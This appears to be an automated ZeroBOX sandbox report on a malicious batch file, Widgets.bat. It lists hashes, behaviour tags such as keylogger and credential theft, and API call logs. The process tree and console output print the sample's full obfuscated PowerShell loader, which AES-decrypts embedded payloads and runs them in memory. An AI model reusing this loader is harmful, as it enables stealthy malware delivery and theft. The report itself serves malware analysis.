popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Widgets.bat

Downloader FTP Code injection DGA HTTP Socket Escalate priviledges Create Service KeyLogger Internet API Sniff Audio DNS Http API Steal credential ScreenShot P2P AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us April 29, 2023, 2:08 p.m. April 29, 2023, 2:10 p.m.
Size 500.0KB
Type ASCII text, with very long lines, with CRLF line terminators
MD5 dbc8b43b6f585fb216d2fa69cafb11e3
SHA256 312f561976f34397e121ce59b201e646e21f7143a9df23827d03f2db3980ae91
CRC32 F6141EA6
ssdeep 12288:b/OTjMovSYF8BPfaaXKDA4rFw0MH8UqV9gk1K7fBco2xAxf:iTjrQCX9rC0MHlqVdC92xAxf
Yara None matched

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "MOSTZtFKbPWagRbx" C:\Users\test22\AppData\Local\Temp\Widgets.bat

    1372

    • cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Widgets.bat

      2056

      • cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Widgets.bat

        2144

        • Widgets.bat.exe "C:\Users\test22\AppData\Local\Temp\Widgets.bat.exe" -w hidden -c $XRwR='EnteKHcreKHcyPeKHcoieKHcnteKHc'.Replace('eKHc', '');$JXEu='GeteKHcCueKHcrreKHceneKHctPeKHcroeKHcceeKHcsseKHc'.Replace('eKHc', '');$VrxS='MeKHcaineKHcMoeKHcdueKHcleeKHc'.Replace('eKHc', '');$hmqz='TreKHcaneKHcsfoeKHcrmFeKHcinaleKHcBloeKHcceKHckeKHc'.Replace('eKHc', '');$CquX='SpleKHciteKHc'.Replace('eKHc', '');$qFmP='LeKHcoeKHcaeKHcdeKHc'.Replace('eKHc', '');$EtZB='CeKHcreateKHceDeKHcecryeKHcpeKHctoeKHcreKHc'.Replace('eKHc', '');$pXCM='CeKHchangeKHceeKHcEeKHcxteneKHcsioeKHcneKHc'.Replace('eKHc', '');$xgQY='FieKHcrseKHcteKHc'.Replace('eKHc', '');$xSKJ='FroeKHcmeKHcBaeKHcseeKHc64SeKHctrieKHcngeKHc'.Replace('eKHc', '');$PatU='IneKHcvokeeKHc'.Replace('eKHc', '');$TNPx='ReKHceadeKHcLeKHcieKHcneseKHc'.Replace('eKHc', '');function MvpiL($ktOmn){$YXOrJ=[System.Security.Cryptography.Aes]::Create();$YXOrJ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$YXOrJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$YXOrJ.Key=[System.Convert]::$xSKJ('aX8cFQObeptl0Hc2tA0iQqDR9yEcFcjuIlC6FeX9Xos=');$YXOrJ.IV=[System.Convert]::$xSKJ('tojFzsW/v/Dm+adS5TQ3Mg==');$CCPCO=$YXOrJ.$EtZB();$cGSky=$CCPCO.$hmqz($ktOmn,0,$ktOmn.Length);$CCPCO.Dispose();$YXOrJ.Dispose();$cGSky;}function ivaas($ktOmn){$zolTr=New-Object System.IO.MemoryStream(,$ktOmn);$alxWJ=New-Object System.IO.MemoryStream;$yVdFW=New-Object System.IO.Compression.GZipStream($zolTr,[IO.Compression.CompressionMode]::Decompress);$yVdFW.CopyTo($alxWJ);$yVdFW.Dispose();$zolTr.Dispose();$alxWJ.Dispose();$alxWJ.ToArray();}$yjiqq=[System.Linq.Enumerable]::$xgQY([System.IO.File]::$TNPx([System.IO.Path]::$pXCM([System.Diagnostics.Process]::$JXEu().$VrxS.FileName, $null)));$DPSuV=$yjiqq.Substring(3).$CquX(':');$UWCTr=ivaas (MvpiL ([Convert]::$xSKJ($DPSuV[0])));$bpToC=ivaas (MvpiL ([Convert]::$xSKJ($DPSuV[1])));[System.Reflection.Assembly]::$qFmP([byte[]]$bpToC).$XRwR.$PatU($null,$null);[System.Reflection.Assembly]::$qFmP([byte[]]$UWCTr).$XRwR.$PatU($null,$null);

          2252

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: 1 file(s) copied.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Unexpected token '(' in expression or statement.
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: At line:1 char:966
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: + $XRwR='EnteKHcreKHcyPeKHcoieKHcnteKHc'.Replace('eKHc', '');$JXEu='GeteKHcCueK
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: HcrreKHceneKHctPeKHcroeKHcceeKHcsseKHc'.Replace('eKHc', '');$VrxS='MeKHcaineKHc
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: MoeKHcdueKHcleeKHc'.Replace('eKHc', '');$hmqz='TreKHcaneKHcsfoeKHcrmFeKHcinaleK
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: HcBloeKHcceKHckeKHc'.Replace('eKHc', '');$CquX='SpleKHciteKHc'.Replace('eKHc',
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: '');$qFmP='LeKHcoeKHcaeKHcdeKHc'.Replace('eKHc', '');$EtZB='CeKHcreateKHceDeKHc
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: ecryeKHcpeKHctoeKHcreKHc'.Replace('eKHc', '');$pXCM='CeKHchangeKHceeKHcEeKHcxte
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: neKHcsioeKHcneKHc'.Replace('eKHc', '');$xgQY='FieKHcrseKHcteKHc'.Replace('eKHc'
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: , '');$xSKJ='FroeKHcmeKHcBaeKHcseeKHc64SeKHctrieKHcngeKHc'.Replace('eKHc', '');
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: $PatU='IneKHcvokeeKHc'.Replace('eKHc', '');$TNPx='ReKHceadeKHcLeKHcieKHcneseKHc
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: '.Replace('eKHc', '');function MvpiL($ktOmn){$YXOrJ=[System.Security.Cryptograp
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: hy.Aes]::Create();$YXOrJ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$Y
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: XOrJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$YXOrJ.Key=[Syst
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: em.Convert]::$xSKJ( <<<< 'aX8cFQObeptl0Hc2tA0iQqDR9yEcFcjuIlC6FeX9Xos=');$YXOrJ
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: .IV=[System.Convert]::$xSKJ('tojFzsW/v/Dm+adS5TQ3Mg==');$CCPCO=$YXOrJ.$EtZB();$
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: cGSky=$CCPCO.$hmqz($ktOmn,0,$ktOmn.Length);$CCPCO.Dispose();$YXOrJ.Dispose();$c
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: GSky;}function ivaas($ktOmn){$zolTr=New-Object System.IO.MemoryStream(,$ktOmn);
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: $alxWJ=New-Object System.IO.MemoryStream;$yVdFW=New-Object System.IO.Compressio
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: n.GZipStream($zolTr,[IO.Compression.CompressionMode]::Decompress);$yVdFW.CopyTo
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: ($alxWJ);$yVdFW.Dispose();$zolTr.Dispose();$alxWJ.Dispose();$alxWJ.ToArray();}$
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: yjiqq=[System.Linq.Enumerable]::$xgQY([System.IO.File]::$TNPx([System.IO.Path]:
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: :$pXCM([System.Diagnostics.Process]::$JXEu().$VrxS.FileName, $null)));$DPSuV=$y
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: jiqq.Substring(3).$CquX(':');$UWCTr=ivaas (MvpiL ([Convert]::$xSKJ($DPSuV[0])))
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: ;$bpToC=ivaas (MvpiL ([Convert]::$xSKJ($DPSuV[1])));[System.Reflection.Assembly
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: ]::$qFmP([byte[]]$bpToC).$XRwR.$PatU($null,$null);[System.Reflection.Assembly]:
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: :$qFmP([byte[]]$UWCTr).$XRwR.$PatU($null,$null);
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ParserError: ((:String) [], ParentContainsErrorR
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: ecordException
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : UnexpectedToken
console_handle: 0x0000017f
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00628ff8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006290f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006290f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006290f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629378
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629378
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629378
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629378
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629378
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629378
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006290f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006290f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006290f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006292b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00629278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006293f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006293f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006293f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006293f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006293f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006293f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006293f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006293f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006293f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006293f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006293f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006293f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006293f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006293f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006294b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006294b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006294b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006294b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006294b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006294b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 1835008
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02450000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025d0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73c51000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x022ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73c52000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x022b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x022c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025d1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0232a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x022c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x022c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0233b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02337000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x022bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02322000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02335000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x022c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0232c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x022c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0233c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02323000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02324000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02325000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02326000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02327000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02328000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02329000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04680000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04681000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04682000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04683000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04684000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04685000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04686000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04687000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04688000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04689000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0468a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0468b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0468c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0468d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0468e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0468f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04790000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
